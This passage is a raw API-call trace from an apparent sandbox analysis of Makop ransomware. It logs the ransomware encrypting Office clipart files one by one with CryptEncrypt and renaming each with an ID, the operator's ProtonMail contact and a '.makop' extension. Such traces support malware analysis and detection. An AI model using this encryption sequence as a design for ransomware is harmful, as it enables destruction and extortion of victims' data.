lpOverlapped=0x0) returned 1 [0123.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4150, dwBufLen=0x4150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4150) returned 1 [0123.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.603] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4150, lpOverlapped=0x0) returned 1 [0123.603] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.603] SetEndOfFile (hFile=0xf0) returned 1 [0123.610] GetProcessHeap () returned 0x48a0000 [0123.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.610] GetProcessHeap () returned 0x48a0000 [0123.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.610] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.612] CloseHandle (hObject=0xf0) returned 1 [0123.613] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0123.613] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0123.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.615] GetProcessHeap () returned 0x48a0000 [0123.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.615] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0123.620] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.620] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.620] GetProcessHeap () returned 0x48a0000 [0123.620] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.620] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.620] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.620] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.621] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.621] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9d27, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9d27, lpOverlapped=0x0) returned 1 [0123.623] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d30) returned 1 [0123.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9d30, lpOverlapped=0x0) returned 1 [0123.624] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.624] SetEndOfFile (hFile=0xf0) returned 1 [0123.632] GetProcessHeap () returned 0x48a0000 [0123.632] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.632] GetProcessHeap () returned 0x48a0000 [0123.632] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.633] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.634] CloseHandle (hObject=0xf0) returned 1 [0123.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0123.634] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0123.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.635] GetProcessHeap () returned 0x48a0000 [0123.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.635] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.635] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.635] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0123.640] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.640] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.640] GetProcessHeap () returned 0x48a0000 [0123.640] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.640] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.640] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.642] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.642] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.642] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.642] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8379, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8379, lpOverlapped=0x0) returned 1 [0123.644] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8380, dwBufLen=0x8380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8380) returned 1 [0123.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8380, lpOverlapped=0x0) returned 1 [0123.645] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.645] SetEndOfFile (hFile=0xf0) returned 1 [0123.653] GetProcessHeap () returned 0x48a0000 [0123.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.653] GetProcessHeap () returned 0x48a0000 [0123.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.653] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.654] CloseHandle (hObject=0xf0) returned 1 [0123.654] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0123.655] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0123.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.657] GetProcessHeap () returned 0x48a0000 [0123.657] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.657] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.657] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0123.662] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.662] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.662] GetProcessHeap () returned 0x48a0000 [0123.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.663] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.664] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf0c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf0c1, lpOverlapped=0x0) returned 1 [0123.675] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf0d0, dwBufLen=0xf0d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf0d0) returned 1 [0123.676] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.676] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf0d0, lpOverlapped=0x0) returned 1 [0123.677] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.677] SetEndOfFile (hFile=0xf0) returned 1 [0123.685] GetProcessHeap () returned 0x48a0000 [0123.685] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.685] GetProcessHeap () returned 0x48a0000 [0123.685] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.685] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.690] CloseHandle (hObject=0xf0) returned 1 [0123.690] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0123.690] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0123.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.691] GetProcessHeap () returned 0x48a0000 [0123.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.692] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0123.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.696] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.696] GetProcessHeap () returned 0x48a0000 [0123.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.696] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.696] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.697] 